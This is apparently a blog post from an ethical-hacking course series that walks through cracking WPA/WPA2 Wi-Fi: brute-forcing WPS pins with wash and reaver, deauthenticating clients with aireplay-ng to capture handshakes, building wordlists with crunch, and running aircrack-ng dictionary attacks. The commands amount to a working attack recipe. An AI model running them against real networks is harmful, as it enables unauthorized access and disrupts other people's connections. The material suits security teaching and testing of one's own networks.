WPA Craking

  • WPA was designed to address the issues in WEP and provide better encryption.
  • The main issue in WEP is the short IV which means that they can be repeated, therefore by collecting a large number of IVs aircrakp-ng can determine the key stream and the WEP key.
  • In WPA each packet is encrypted with a unique temporary key, the means the number of data packets that we collect is irrelevant.
  • WPA and WPA2 are similar, the only difference is that WPA2 uses an algorithm called CCMP.

WPS Feature

WPS is a feature that allows users to connect to WPS enabled networks easily, using a WPS button or only by clicking on WPS functionality.

Authentication is done using an 8 digit long pin, this means that there is a relatively small number of pin combinations and using brute force we can guess the pin in less than 10 hours.

A tool called reaver can then recover the WPA/WPA key from the pin.

Note: This flaw is in the WPS feature and not in WPA/WPA2, however, it allows us to crack any WPA/WPA2 AP without using a wordlist and without any clients.

Use a tool called wash to scan for WPS enabled APs,

Use a tool called reaver to brute force the WPS ping and calculate the WPA key:

wash -i wlan0
airodump-ng wlan0
reaver -b :::: -c  -i wlan0
Reave --help

Reaver v1.6.5 WiFi Protected Setup Attack Tool
Copyright (c) , Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com> Required Arguments:
-i, --interface=<wlan> Name of the monitor-mode interface to use
-b, --bssid=<mac> BSSID of the target AP Optional Arguments:
-m, --mac=<mac> MAC of the host system
-e, --essid=<ssid> ESSID of the target AP
-c, --channel=<channel> Set the 802.11 channel for the interface (implies -f)
-s, --session=<file> Restore a previous session file
-C, --exec=<command> Execute the supplied command upon successful pin recovery
-f, --fixed Disable channel hopping
-, --5ghz Use 5GHz 802.11 channels
-v, --verbose Display non-critical warnings (-vv or -vvv for more)
-q, --quiet Only display critical messages
-h, --help Show help Advanced Options:
-p, --pin=<wps pin> Use the specified pin (may be arbitrary string or / digit WPS pin)
-d, --delay=<seconds> Set the delay between pin attempts []
-l, --lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts []
-g, --max-attempts=<num> Quit after num pin attempts
-x, --fail-wait=<seconds> Set the time to sleep after unexpected failures []
-r, --recurring-delay=<x:y> Sleep for y seconds every x pin attempts
-t, --timeout=<seconds> Set the receive timeout period []
-T, --m57-timeout=<seconds> Set the M5/M7 timeout period [0.40]
-A, --no-associate Do not associate with the AP (association must be done by another application)
-N, --no-nacks Do not send NACK messages when out of order packets are received
-S, --dh-small Use small DH keys to improve crack speed
-L, --ignore-locks Ignore locked state reported by the target AP
-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet
-J, --timeout-is-nack Treat timeout as NACK (DIR-/)
-F, --ignore-fcs Ignore frame checksum errors
-w, --win7 Mimic a Windows registrar [False]
-K, --pixie-dust Run pixiedust attack
-Z Run pixiedust attack Example:
reaver -i wlan0mon -b ::4C:C1:AC: -vv

Refer to:https://www.ethicalhackx.com/hack-wpawpa2-wps-reaver-kali-linux/

Theory behind the WPA_WPA2 craking

Capturing WPA packets is not useful as they do not contain any info that can be used to crack the key. The only packets that contain info that help us crack the password is the handshake packets. Every time a client connects to the AP a four way hand shake occurs between the client and teh AP.

By capturing the handshake, we can use aircrack to launch a word list attack against the handshake to determine the key.

To crack a WPA/WPA2 AP with WPS disabled we need two things:

1. Capture the handshake.
2. A wordlist

Craking WPA/WPA2 - Capturing the handshake

Handshake packets are sent every time a client associate with the target AP. So to capture it we are going to :

1. Start airodump-ng on the target AP:

airodump-ng --channel [channel] --bssid[bssid] --write [file-name] [interface]

2. Wait for a client to connect to the AP, or deauthenticate a connected client (if any) for a very short period of time so that their system will connect back automatically.

aireplay-ng --deauth [number of deauth packets] -a [AP] -c [target] [interface]

Notice top right corner of airodump-ng will say "WPA handshake".

Cracking WPA/WPA2 - Creating a Wordlist

The 2nd thing that we need to crack WPA/WPA2 is a list of passwords to guess, you can download a ready wordlist from the internet or create your own using a tool called crunch.

Resource -Some Links To Wordlists

ftp://ftp.openwall.com/pub/wordlists/
http://www.openwall.com/mirrors/
http://gdataonline.com/downloads/GDict/
http://www.outpost9.com/files/WordLists.html
http://www.vulnerabilityassessment.co.uk/passwords.htm
http://packetstormsecurity.org/Crackers/wordlists/
http://www.ai.uga.edu/ftplib/natural-language/moby/
http://www.cotse.com/tools/wordlists1.htm
http://www.cotse.com/tools/wordlists2.htm
http://wordlist.sourceforge.net/
./crunch [min] [max] [characters=lower/upper/numbers/symbols] -t [pattern] -o file

Cracking WPA/WPA2 - Cracking the Key

We are going to use aircrack-ng to crack the key. It does this by combining each password in the wordlist with AP name(essid) to compute a Pairwise Master Key(PMK) using the pbkdf2 algorithm, the PMK is the compared to the handshake file.

aircrack-ng [HANDSHAKE FILE] -w [WORDLIST] [INTERFACE]
E.G.,  aircrack-ng test-handshake-.cap -w sample-wordlist 

Ethical Hacking - NETWORK PENETRATION TESTING(10)的更多相关文章

  1. Ethical Hacking - NETWORK PENETRATION TESTING(15)

    ARP Poisoning - arpspoof Arpspoof is a tool part of a suit called dsniff, which contains a number of ...

  2. Ethical Hacking - Web Penetration Testing(10)

    SQL INJECTION SQLMAP Tool designed to exploit SQL injections. Works with many DB types, MySQL, MSSQL ...

  3. Ethical Hacking - NETWORK PENETRATION TESTING(22)

    MITM - Wireshark WIreshark is a network protocol analyser that is designed to help network administa ...

  4. Ethical Hacking - NETWORK PENETRATION TESTING(11)

    Securing your Network From the Above Attacks. Now that we know how to test the security of all known ...

  5. Ethical Hacking - NETWORK PENETRATION TESTING(21)

    MITM - Code Injection Inject javascript or HTML code into pages. Code gets executed on target machin ...

  6. Ethical Hacking - NETWORK PENETRATION TESTING(20)

    MITM - Capturing Screen Of Target & Injecting a Keylogger ScreenShotter Plugin: ScreenShotter: U ...

  7. Ethical Hacking - NETWORK PENETRATION TESTING(19)

    MITM-DNS Spoofing DNS Spoofing allows us to redirect any request to a certain domain to another doma ...

  8. Ethical Hacking - NETWORK PENETRATION TESTING(17)

    MITM - bypassing HTTPS Most websites use https in their login pages, this means that these pages are ...

  9. Ethical Hacking - NETWORK PENETRATION TESTING(16)

    ARP Poisoning - MITMf MITMf is a framework that allows us to launch a number of MITM attacks. MITMf ...

随机推荐

  1. PowerBuilder中调用NPOI进行Excel导出格式设置示例

    // 功能 :新建excel带边框的单元格,格式为数字并显示为美元货币 // 参数 :ai_row,行号:ai_col,列号 // 返回值 :true/false // 作者 :潮崖之飔 // 日期 ...

  2. cc32b_demo-32dk2j_cpp_纯虚函数与抽象类2-txwtech

    cc32b_demo-32dk2j_cpp_纯虚函数与抽象类2-txwtech //纯虚函数是用来继承用的//纯虚函数//抽象类-抽象数据类型//*任何包含一个或者多个纯虚函数的类都是抽象类//*不要 ...

  3. 获取系统的IP地址

    获取linux主机的IP地址 问题描述 在很多软件配置过程中,都需要设置ID信息,通常我选择使用系统配置的eth0网卡的IP地址信息,比如salt-minion-id,在通过cobbler批量安装操作 ...

  4. mongoDB的基本使用方法

    MongoDB 安装(乌班图系统) apt install mongodb mongoDB与sql的对比 SQL术语/概念 MongoDB术语/概念 解释/说明 database database 数 ...

  5. Windows10系统下安装配置Tomcat 9.0.1

    Tomcat9.0.1下载:https://tomcat.apache.org/download-90.cgi 配置jdk的环境变量(略) 在系统变量里新建变量名:CATALINA_BASE,变量值: ...

  6. Python实用笔记 (20)面向对象编程——继承和多态

    当我们定义一个class的时候,可以从某个现有的class继承,新的class称为子类(Subclass),而被继承的class称为基类.父类或超类(Base class.Super class). ...

  7. hibernate快速入门示例

    hibernate概述 hibernate是一个java的全自动ORM框架,它可以自动生成SQL语句.自动建表.自动执行,使用者可以不使用SQL完成数据的CRUD操作,同时它也是基于JPA规则的一种实 ...

  8. 猿灯塔:关于Java面试,你应该准备这些知识点

    自天子以至于庶人,壹是皆以修身为本 <礼记·大学> 马老师说过,员工的离职原因很多,只有两点最真实: 钱,没给到位 心,受委屈了 当然,我是想换个平台,换个方向,想清楚为什么要跳槽,如果真 ...

  9. CSS通过text-transform实现大写、小写和首字母大写转换

    再日常项目中可能会用到一些特殊的样式,比如大写字母转小写.小写字母转大写.首字母大写等. 可以通过 CSS 的 text-transform 属性来实现: text-transform 转换不同的文本 ...

  10. JavaScript函数使用知识点回顾

    JS函数本质更像一个对象,有属性和方法. 将函数定义作为对象的属性,则称之为对象方法:函数如果用于创建新的对象,则称之为对象的构造函数. (1)JS使用关键字  function  定义函数. 函数可 ...